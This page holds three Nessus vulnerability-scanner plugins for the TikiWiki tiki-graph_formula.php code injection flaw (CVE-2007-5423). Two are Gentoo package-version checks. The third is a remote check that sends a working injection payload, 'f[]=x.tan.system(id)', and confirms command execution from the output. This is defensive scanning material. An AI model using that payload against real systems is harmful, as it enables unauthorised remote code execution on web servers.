Vulnerabilities > CVE-2007-5423 - Code Injection vulnerability in Tiki Tikiwiki Cms/Groupware 1.9.8

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 200710-21.
#
# The advisory text is Copyright (C) 2001-2015 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(27553);
  script_version("1.15");
  script_cvs_date("Date: 2019/08/02 13:32:44");

  script_cve_id("CVE-2007-5423");
  script_xref(name:"GLSA", value:"200710-21");

  script_name(english:"GLSA-200710-21 : TikiWiki: Arbitrary command execution");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-200710-21
(TikiWiki: Arbitrary command execution)

    ShAnKaR reported that input passed to the 'f' array parameter in
    tiki-graph_formula.php is not properly verified before being used to
    execute PHP functions.
  
Impact :

    An attacker could execute arbitrary code with the rights of the user
    running the web server by passing a specially crafted parameter string
    to the tiki-graph_formula.php file.
  
Workaround :

    There is no known workaround at this time."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/200710-21"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All TikiWiki users should upgrade to the latest version:
    # emerge --sync
    # emerge --ask --oneshot --verbose '>=www-apps/tikiwiki-1.9.8.1'"
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'TikiWiki tiki-graph_formula Remote PHP Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');
  script_cwe_id(94);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:tikiwiki");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"patch_publication_date", value:"2007/10/20");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/10/25");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2007-2019 Tenable Network Security, Inc.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"www-apps/tikiwiki", unaffected:make_list("ge 1.9.8.1"), vulnerable:make_list("lt 1.9.8.1"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "TikiWiki");
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 200711-19.
#
# The advisory text is Copyright (C) 2001-2018 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(28219);
  script_version("1.17");
  script_cvs_date("Date: 2019/08/02 13:32:44");

  script_cve_id("CVE-2007-5423", "CVE-2007-5682");
  script_xref(name:"GLSA", value:"200711-19");

  script_name(english:"GLSA-200711-19 : TikiWiki: Multiple vulnerabilities");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-200711-19
(TikiWiki: Multiple vulnerabilities)

    Stefan Esser reported that a previous vulnerability (CVE-2007-5423,
    GLSA 200710-21) was not properly fixed in TikiWiki 1.9.8.1
    (CVE-2007-5682). The TikiWiki development team also added several
    checks to avoid file inclusion.
  
Impact :

    A remote attacker could exploit these vulnerabilities to inject
    arbitrary code with the privileges of the user running the application.
  
Workaround :

    There is no known workaround at this time."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/200710-21"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/200711-19"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All TikiWiki users should upgrade to the latest version:
    # emerge --sync
    # emerge --ask --oneshot --verbose '>=www-apps/tikiwiki-1.9.8.3'"
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'TikiWiki tiki-graph_formula Remote PHP Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');
  script_cwe_id(94, 264);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:tikiwiki");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"patch_publication_date", value:"2007/11/14");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/11/15");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2007-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"www-apps/tikiwiki", unaffected:make_list("ge 1.9.8.3"), vulnerable:make_list("lt 1.9.8.3"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "TikiWiki");
}

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(26968);
  script_version("1.24");
  script_cvs_date("Date: 2018/11/15 20:50:19");

  script_cve_id("CVE-2007-5423");
  script_bugtraq_id(26006);

  script_name(english:"TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution");
  script_summary(english:"Tries to run a command via TikiWiki's tiki-graph_formula.php");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that allows arbitrary
command execution." );
 script_set_attribute(attribute:"description", value:
"The remote host is running TikiWiki, an open source wiki application
written in PHP.

The version of TikiWiki on the remote host fails to sanitize input to
the 'f[]' parameter of the 'tiki-graph_formula.php' script before
using it as a function call.  Regardless of PHP's 'register_globals'
setting, an unauthenticated attacker can leverage this issue to
execute arbitrary code on the remote host subject to the privileges of
the web server user id." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/482006/30/0/threaded");
 script_set_attribute(attribute:"see_also", value:"https://tiki.org/tiki-read_article.php?articleId=14" );
 script_set_attribute(attribute:"solution", value:"Upgrade to TikiWiki version 1.9.8.1 or later.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
 script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"exploit_framework_core", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'TikiWiki tiki-graph_formula Remote PHP Code Execution');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');
 script_cwe_id(94);

 script_set_attribute(attribute:"plugin_publication_date", value:"2007/10/11");

script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:tikiwiki:tikiwiki");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("tikiwiki_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP","www/tikiwiki");
  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80,php:TRUE);

install = get_install_from_kb(appname:'tikiwiki', port:port, exit_on_fail:TRUE);
dir = install['dir'];

# Try to exploit the issue to run a command.
cmd = "id";

if (thorough_tests) ts = make_list("pdf", "png");
else ts = make_list("pdf");

foreach t (ts)
{
  w = http_send_recv3(method:"GET",
      item:string(
        dir , "/tiki-graph_formula.php?",
        "w=1&",
        "h=1&",
        "s=1&",
        "min=1&",
        "max=2&",
        "f[]=x.tan.system(", cmd, ")&",
        "t=", t, "&",
        "title="
      ),
      port:port
    );
  if (isnull(w)) exit(1, "the web server did not answer");
  res = w[2];

  line = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res);
  if (line)
  {
    report = string(
      "\n",
      "It was possible to execute the command '", cmd, "' on the remote host,\n",
      "which produces the following output :\n",
      "\n",
      "  ", data_protection::sanitize_uid(output:line)
      );
   security_hole(port:port, extra:report);
   exit(0);
  }
}